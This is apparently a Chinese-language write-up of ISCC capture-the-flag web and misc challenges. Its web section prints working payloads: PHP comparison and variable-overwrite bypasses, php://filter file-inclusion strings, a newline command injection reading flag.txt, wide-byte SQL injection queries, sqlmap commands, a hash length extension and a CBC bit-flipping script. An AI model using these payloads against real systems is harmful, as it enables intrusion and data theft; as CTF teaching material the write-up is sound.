WEB
Web1-比较数字大小
直接修改input 标签里的maxlength 为999突破长度限制,使得能输入大于999 的数,而后随便输一个数字就好了php
或者post修改值css
Web2-Web01
strcmp 漏洞,传入为数组时会出错,致使返回为0,因此传入password[]=1
,获得flaghtml
Web3-为何这么简单啊
简单?不存在,坑你没商量。看看它说了啥吧python
第二关须要从 http://edu.xss.tv 进入,而且只有我公司的IP地址才能够进入第二关,公司IP为:110.110.110.110
我开心的改了XXF,而后去访问给出的网址,而后进入了一个练习平台。So?Then?flag在SQL 注入的数据库里?抱着尝试的姿态作了一下,emmm,哪有关于flag 的东西???git
嗯,当你访问给出的网址的时候你就输了,其实这个网址就是混淆视听的,彻底不须要访问,它实际上是Referer 来的,因此在第一关伪造XXF头,添加Referer值就能进入第二关github
第二关须要提供一个密码,在哪呢?看源码,发现一个password.js,看下写了什么,在最后获得一串乱码,提交检查不对,拿去base64 解密获得sql
<script>alert("password:xinyiji.com")</scripta>
数据库
提交xinyiji.com
获得flag数组
Web4-本地的诱惑
签到题,直接源码得flagcookie
Web5-你能跨过去吗?
这题莫名奇妙,提示关键点在XSS,结果作题全靠解密。。。
将页面里那个一看就不正常的url 解密一下,获得
callback=+/v+ +ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA+AC0-
咱们知道+/v++ 是表明utf-7 编码,这种编码会使其余的字元被编码成utf-16,而后转换为被修改的Base64,这些区块的开头会以+ 符号标示,结尾则是以任何不在Base64 里的字元标示,因此咱们将
ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5ADoALwAlAG4AcwBmAG8AYwB1AHMAWABTAFMAdABlAHMAdAAlAC8AIgApADwALwBzAGMAcgBpAHAAdAA
进行Base64 解密,获得一个含有不可见字符的字符串,将不可见字符去掉,获得
<script>alert("key:/%nsfocusXSStest%/")</script>
将key 的值填入页面的输入框获得flag
Web6-一切都是套路
文件备份泄露,常见的备份格式怼就是了,尝试得出index.php.txt
,访问获得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
|
<?php
include "flag.php";
if ($_SERVER["REQUEST_METHOD"] != "POST") die("flag is here");
if (!isset($_POST["flag"]) ) die($_403);
foreach ($_GET as $k => $v){ $$k = $$v; }
foreach ($_POST as $k => $v){ $$k = $v; }
if ( $_POST["flag"] !== $flag ) die($_403);
echo "flag: ". $flag . "\n"; die($_200);
?>
|
代码审计一波,能够发现存在变量覆盖问题。
重点在于对输入值的处理,都有$$k,可是对$v 的处理不一样
- GET 输入的$k 会变成新变量\$\$k,\$v 也是,那么若是咱们传入的是_200=flag,那么就会变成\$_200=\$flag,从而将flag 的值赋给了\$_200,而最后顺利的话又会输出\$_200
- POST 传入的值也是$$k,而键值却只有一个$,假如输入flag=flag,那么最后就是$flag = flag,放到if 语句中也恰好知足条件
- 由上所述就能够获得payload,GET 传入
_200=flag
,使得$_200 获得flag 的值,POST 传值随便传flag=123456
,最后知足if 语句,输出\$_200 就是输出flag
Web7-你能绕过吗?
一开始觉得是注入,结果毫无反应,后来发现还有个参数f=article,将其改为页面里出现过的contents,毫无反应+1
……
猜想f 应该是filename,指定包好的内容,那么有没有可能存在文件包含的漏洞呢?利用伪协议尝试读取源码
php://filter/read=convert.base64-encode/resource=index
报错error……联想题目提示过滤不严谨,说明应该是过滤什么东西,既然是伪协议,那么最早过滤的应该就是php,尝试大写,成功了。。。。。。幸福来得太快就像龙卷风
Web8-Web02
必须由本地访问,则修改包头,一开始觉得是XFF,用X-Forwarded-For Header 添加了127.0.0.1,结果不对,那就把全部判断ip 的头都尝试一遍
1 2 3 4 5 6 7 8 9 10
|
X-Forwarded-For: 127.0.0.1 Contact: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Real-IP: 127.0.0.1 X-Client-IP: 127.0.0.1 Referer: 127.0.0.1 From: 127.0.0.1 X-Wap-Profile: 127.0.0.1 True-Client-IP: 127.0.0.1 Client-IP: 127.0.0.1
|
尝试Client-IP 的时候正确了
Web9-请ping个人ip 看你能Ping通吗?
是否是和我同样打开cmd 去ping 了一下网站ip,发现p用没有,而后一筹莫展?
脑洞,只有这一句话,我没这么大的脑洞,直接问的学弟
当你能猜出能够GET传参一个参数ip过去的时候,你的脑洞已经突破天际
迈出第一步后就简单无比,命令执行而已,过滤了|
,那就用%0a
Payload:
1 2
|
index.php?ip=118.190.152.202%0als index.php?ip=118.190.152.202%0acat flag.txt
|
比赛还没结束,运维忽然修改了flag.txt 所在目录,新的目录为/home/flag.txt
Web10-Please give me username and password!
GET传参username和password,获得回显,注释提示index.php.txt(话说前面那个源码泄露没作出来的,看到这个题应该都能回去作了),访问获得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
|
<?php error_reporting(0); $flag = "***********"; if(isset($_GET['username'])){ if (0 == strcasecmp($flag,$_GET['username'])){ $a = fla; echo "very good!Username is right"; } else{ print 'Username is not right<!--index.php.txt-->';} }else print 'Please give me username or password!'; if (isset($_GET['password'])){ if (is_numeric($_GET['password'])){ if (strlen($_GET['password']) < 4){ if ($_GET['password'] > 999){ $b = g; print '<p>very good!Password is right</p>'; }else print '<p>Password too little</p>'; }else print '<p>Password too long</p>'; }else print '<p>Password is not numeric</p>'; } if ($a.$b == "flag") print $flag; ?>
|
审计一下,条件很少
- 传入参数username && password
- username == $flag
- password是数字,且小于4位,又要大于999
绕事后面两个条件慢慢下手,能够看到比较username 和$flag 是经过strcasecmp 来比较的,它和strcmp 的区别在于区分大小写,那么存不存在漏洞呢?固然是存在的,这种比较函数老是会存在数组的漏洞(滑稽:PHP 天下第一),和strcmp 的漏洞同样,构造数组便可
username[]=1
那么password 呢?这里不能像第一题同样改长度,可是咱们还有科学记数法!1000 的科学记数法怎么表示?
password=1e3
Web11-SQL注入的艺术
我的信息栏,有GET 传参,应该是注入点了
发现页面编码是gb2312,多是宽字节注入,检验一下id=1%df'--+
,返回正常页面,肯定是宽字节注入
接下来就是常规的SQL 语句了
1 2 3 4 5 6 7 8
|
id=1%df' or 1=1 order by 8--+ id=1%df' or 1=1 order by 9--+ id=-1%df' union select 1,2,3,4,5,6,7,8--+ id=-1%df' union select 1,database(),3,user(),5,6,group_concat(table_name),8 from information_schema.tables where table_schema = database() --+
id=-1%df' union select 1,database(),3,user(),5,6,group_concat(column_name),8 from information_schema.columns where table_name = 0x61646d696e73 --+
id=-1%df' union select 1,database(),3,user(),5,6,group_concat(flag),8 from admins --+
|
Web12-Php是世界上最好的语言
直接看代码,MD5常见漏洞:将全部0e 开头的MD5值都看成0,随便输一个知足条件的值,跳转到下一个页面,又是代码,变量覆盖$$a
,传入a=flag,就能够获得flag值
Web13-试试看
一个吾王的照片,就没了,查看网络,发如今调用index.php 时还调用了show.php?img=1.jpg
因而访问show.php,默认传参是1.jpg,那么能不能传入其余值?尝试后发现
1 2
|
img=*.jpg,返回图片出错没法显示 img=*.php,返回File not find
|
index.php 明显是和show.php 在同一目录,这都找不到,能够看出是后台作了处理,多是过滤了关键字php,使用大写,php5等尝试都失败了
既然文件包含包含本地文件失败,那么尝试能不能读源码,又用到了伪协议
img=php://filter/read=convert.base64-encode/resource=show.php
仍是File not find
和大佬py一波,被告知是传入参数必需要有jpg,那么改payload为img=php://filter/read=convert.base64-encode/resource=show.php|jpg
成功返回页面源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
|
<?php error_reporting(0); ini_set('display_errors','Off');
include('config.php');
$img = $_GET['img']; if(isset($img) && !empty($img)) { if(strpos($img,'jpg') !== false) { if(strpos($img,'resource=') !== false && preg_match('/resource=.*jpg/i',$img) === 0) { die('File not found.'); }
preg_match('/^php:\/\/filter.*resource=([^|]*)/i',trim($img),$matches); if(isset($matches[1])) { $img = $matches[1]; }
header('Content-Type: image/jpeg'); $data = get_contents($img); echo $data; } else { die('File not found.'); }
} else { ?> <img src="1.jpg"> <?php } ?>
|
对源码进行分析,关键的几个点在
- img必须有jpg但又不能有resource=.*jpg
- 正则检查了php://filter.resource=([^|])\,并把结果填充到$matches 里去,说明咱们可使用php://filter伪协议,而且resource的值不含|,那么咱们就能够用| 来分隔php 和jpg,由于正则匹配到| 就不会继续匹配后面的jpg 了,使得\$img=show.php,从而能够读到源码
- 开头包含了config.php,也读了一下源码,发现就是自定义了一个get_contents($img) 函数,用来肯定返回是图片仍是html
最后的flag 在上一级目录的flag.php里,最后的payload
img=php://filter/read=convert.base64-encode/resource=../flag.php|jpg
贴一下大佬的payload:
curl http://118.190.152.202:8006/show.php?img=./jpg/../show.php
curl http://118.190.152.202:8006/show.php?img=./jpg/../../flag.php
Web14-Sqli
第一关,注入点在username,直接sqlmap跑
1 2 3 4
|
python sqlmap.py -r "POST\Iscc.txt" -p username --dbs --batch --level 5 python sqlmap.py -r "POST\Iscc.txt" -p username -D sqli_database --tables --batch --level 5 python sqlmap.py -r "POST\Iscc.txt" -p username -D sqli_database -T user --columns --batch --level 5 python sqlmap.py -r "POST\Iscc.txt" -p username -D sqli_database -T user -C pass --dump --batch --level 5
|
sqlmap梭哈以后获得admin 的password,拿去md5解密,登陆,进入第二个注入
第二个注入就很简单了,flag 在news表,别查错了就行
1 2 3 4 5 6 7 8 9 10
|
id=1 or 1=1 order by 6 id=1 or 1=1 union select 1,2,3,4,5,6 id=1 or 1=1 union select database(),user(),3,4,5,6 ==>sqli_database,root@localhost id=1 or 1=1 union select 1,2,3,4,5,group_concat(distinct table_name) from information_schema.tables where table_schema=database()# ==>news,user id=1 or 1=1 union select 1,2,3,4,5,group_concat(distinct column_name) from information_schema.columns where table_name='user'# ==>title,note,kjafuibafuohnuvwnruniguankacbh,id,date,text id=1 or 1=1 union select 1,2,3,4,5,kjafuibafuohnuvwnruniguankacbh from news limit 1,1 # ==>flag{hahaha999999999}
|
Web15-Collide
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
|
<?php include "secret.php"; @$username=(string)$_POST['username']; function enc($text){ global $key; return md5($key.$text); } if(enc($username) === $_COOKIE['verify']){ if(is_numeric(strpos($username, "admin"))){ die($flag); } else{ die("you are not admin"); } } else{ setcookie("verify", enc("guest"), time()+60*60*24*7); setcookie("len", strlen($key), time()+60*60*24*7); } show_source(__FILE__);
|
分析一下源码,能够知道以下信息
- 一个不知道的$key,可是从cookie中能够知道它的长度是46
- 从cookie中知道md5(\$key.guest) 的值,也就是知道enc(\$username) 符合条件的值
- 得到flag 的条件,知足enc(\$username) == md5(\$key.guest),同时\$username 要含有admin
有经验的选手一看就知道是hash长度扩展攻击,咱们知道一个长度已知,数值未知的值\$key,同时知道$key链接上一个已知的值(guest)的md5 值(78cfc57d983b4a17e55828c001a3e781),须要知足\$key 加上另外一个可控的值(\$username) 的MD5 等于一个已知的值。
hash长度扩展攻击能够直接用工具hashpump,安装和使用能够看pcat 师傅的文章
咱们直接上手
1 2
|
$key 是密文,长度46,后面加上guest,签名是78cfc57d983b4a17e55828c001a3e781 咱们须要加上的数据是admin
|
使用hashpump 加上数据admin
1 2 3 4 5
|
# hashpump Input Signature: 78cfc57d983b4a17e55828c001a3e781 Input Data: guest Input Key Length: 46 Input Data to Add: admin
|
获得
1 2
|
5f585093a7fe86971766c3d25c43d0eb guest\x80\x00\x00\x00\x00\x98\x01\x00\x00\x00\x00\x00\x00admin
|
第一个是新的签名,把它赋给verify,第二是post 的值,把\x 改为%,提交便可获得flag
Web17-Only admin can see flag
右键F12得提示index.txt,访问获得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
|
<?php include 'sqlwaf.php'; define("SECRET_KEY", "................"); define("METHOD", "aes-128-cbc"); session_start(); // 随机的iv function get_random_iv(){ $iv=''; for($i=0;$i<16;$i++){ $iv.=chr(rand(1,255)); } return $iv; } // 登陆逻辑 // 使用aes-128-cbc 模式加密 // 设置了session和cookie,都可见 // cookie[iv] = 随机生成的iv 的base64 // cookie[cipher] = 加密值的base64 function login($info){ $iv=get_random_iv(); $plain = serialize($info); $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv); $_SESSION['username'] = $info['username']; setcookie("iv", base64_encode($iv)); setcookie("cipher", base64_encode($cipher)); } // 判断条件 // 若是session['username'] === 'admin'就输出flag function show_homepage(){ if ($_SESSION["username"]==='admin'){ echo '<p>Hello admin</p>'; echo '<p>Flag is *************</p>'; }else{ echo '<p>hello '.$_SESSION['username'].'</p>'; echo '<p>Only admin can see flag</p>'; } echo '<p><a href="loginout.php">Log out</a></p>'; die(); } // 判断条件 // 解密cipher function check_login(){ if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){ $cipher = base64_decode($_COOKIE['cipher']); $iv = base64_decode($_COOKIE["iv"]); if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){ $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>"); $_SESSION['username'] = $info['username']; }else{ die("ERROR!"); } } } // 判断有无传参,若是username=admin,退出 // 若是username!=admin,则像login() 传入数组,设置cookie 和session // 再判断session['username']是否等于admin if (isset($_POST['username'])&&isset($_POST['password'])) { $username=waf((string)$_POST['username']); $password=waf((string)$_POST['password']); if($username === 'admin'){ exit('<p>You are not real admin!</p>'); }else{ $info = array('username'=>$username,'password'=>$password); login($info); show_homepage(); } } else{ if(isset($_SESSION["username"])){ check_login(); show_homepage(); } } ?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8"> <title>Paper login form</title> <link rel="stylesheet" href="css/style.css"> </head> <body> <div id="login"> <form action="" method="post"> <h1>Sign In</h1> <input name='username' type="text" placeholder="Username"> <input name='password' type="password" placeholder="Password"> <button>Sign in</button> </div> </body> </html>
|
和实验吧的第一题差很少,cbc字节反转攻击,你们也能够去看pcat师傅的wp,原理也很少BB,我前面有一篇博客也讲了这个东西
若是咱们提交的是username=Admin&&password=mntn
那么序列话并分组后就是
1 2 3 4
|
a:2:{s:8:"userna me";s:5:"Admin"; s:8:"password";s :4:"mntn";}
|
可见,咱们要改的A 在第二块,偏移量为9,那么脚本(直接用的pcat师傅的)以下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
# -*- coding:utf8 -*- __author__='pcat@chamd5.org' from base64 import * import urllib cipher='NTXIvEkuJOQJnzT5Fns/46Q7/g5YvELHYVetIN3lmwX8berG9Iwnp26GzpNXtHauMvyYxQ48WzmkSHlmwOyhug==' cipher_raw=b64decode(urllib.unquote(cipher)) lst=list(cipher_raw) idx=9 c1='A' c2='a' lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2)) cipher_new=''.join(lst) cipher_new=urllib.quote(b64encode(cipher_new)) if(cipher_new == cipher): print("It's same") print(cipher_new)
|
提交获得base64_decode('"FIo6FPqKsWAno/eQZlkURW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjQ6Im1udG4iO30="') can't unserialize
用脚本获取新的iv
1 2 3 4 5 6 7 8 9 10 11 12 13
|
# -*- coding:utf8 -*- __author__='pcat@chamd5.org' from base64 import * import urllib iv='2kWRGuhKIV1Ta4u096oeFQ%3D%3D' iv_raw=b64decode(urllib.unquote(iv)) first='a:2:{s:8:"userna' plain=b64decode('FIo6FPqKsWAno/eQZlkURW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjQ6Im1udG4iO30=') iv_new='' for i in range(16): iv_new+=chr(ord(plain[i])^ord(first[i])^ord(iv_raw[i])) iv_new=urllib.quote(b64encode(iv_new)) print iv_new
|
获得新的iv,和新的cipher 一块儿提交便可获得flag
MISC
杂项贼菜,没几个会作的
Misc1-What is that?
明显是修改图片高度,若是你问为何?你能够用工具tweakpng去校验图片的CRC校验码,发现会报错,说明当前图片的高度是不符合如今的校验码的,将图片高度修改到1000,获得flag
Misc2-数字密文
很简单的flag。
只给了一串数字,首先想到的是进制转换,2个一组转成10进制对应的ascci玛,结果不对,转成16进制就对了
Misc3-秘密电报
培根密码,自行百度
Misc4-重重谍影
Base64解密屡次,到最后会出错,将最后一次正常的解密拿去aes解密,获得一串繁体字,查阅资料得知是土豆文,一种诡异的对应密文。
直接抛到解密网站去解密与佛论禅
Misc5-有趣的ISCC
一个logo图,扔到winhex一看,发如今最后有东西,另存为txt,打开
1
|
\u0066\u006c\u0061\u0067\u007b\u0069\u0073\u0063\u0063\u0020\u0069\u0073\u0020\u0066\u0075\u006e\u007d
|
拿去转成ASCII码,再转字符便可,最后flag格式只要括号里的
Misc6-Where is the FLAG?
不会,学弟作的
本题和实验吧的有一题相似,须要用到工具
winhex 打开能够看到有Adobe Fireworks
字样,应该就是使用这个软件处理过。
使用Adobe Fireworks 打开后,果真有惊喜,一个在图层下面的二维码,发现扫不了,应该是处理过的,将其分割,8取4拼一下(这个让我想起以前作的一个ctf,也是拼,结果怎么拼都扫不起。。。)

Misc7-凯撒十三世
凯撒密码,而且偏移是13,给个凯撒密码的通用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
|
#-*- coding: utf8 -*- # Caesar Cipher
MAX_KEY_SIZE = 26
def getMode(): while True: print('Please choose model:') print('encrypt(e)') print('decrypt(d)') print('brute(b)') mode = input().lower() if mode in 'encrypt e decrypt d brute b'.split(): return mode else: print('请输入"encrypt"或"e"或"decrypt"或"d"或"brute"或"b"!')
def getMessage(): print('请输入你的信息:') return input()
def getKey(): key = 0 while True: print('请输入密钥数字(1-%s)' % (MAX_KEY_SIZE)) key = int(input()) if (key >=1 and key <= MAX_KEY_SIZE): return key
def getTranslatedMessage(mode, message, key): if mode[0] == 'd': key = -key translated = '' for symbol in message: if symbol.isalpha(): num = ord(symbol) num += key if symbol.isupper(): if num > ord('Z'): num -= 26 elif num < ord('A'): num += 26 elif symbol.islower(): if num > ord('z'): num -= 26 elif num < ord('a'): num += 26
translated += chr(num) else: translated += symbol return translated
mode = getMode() message = getMessage() if mode[0] != 'b': key = getKey()
print('你要翻译的信息是:') if mode[0] != 'b': print(getTranslatedMessage(mode, message, key)) else: for key in range(1, MAX_KEY_SIZE + 1): print(key, getTranslatedMessage('decrypt', message, key))
|
获得roqtp697t95j3
,一看就不是flag,结合提示键盘
,因此多是键盘密码: 即密文在键盘上的下一行所对应的字符是相应明文,好比r=>f
,低头看键盘得flag
Misc9-暴力xx不可取
zip伪加密,zip文件由三个部分组成:压缩源文件数据取+压缩源文件目录区+压缩源文件目录结束标志;
简单来讲,数据区就是被压缩文件的数据,目录区中的每一条记录对应数据区中的一条数据,结束标志重要。要准确了解zip各部分的准肯定义能够看这里:http://blog.csdn.net/ETF6996/article/details/51946250判断有没有加密能够看文件后缀有没有一个*号,zip伪加密主要是在目录区中的 全局方式位标记的值为奇数(根据这个标记位来判断有无加密更改为09 00 就会提示有密码)
实例操做:找到一个未加密文件,winhex打开,找到目录区开头504b1020,而后修改全局方式位标记为09 00,保存,再用WinRAR打开,发现有一个后缀的*号,须要密码。
在本题中,修改14 00 07 09
为14 00 08 09
便可
打开flag.txt 获得一串字符,提交错误,说明有加密,最后发现是rot13,解密便是正确的flag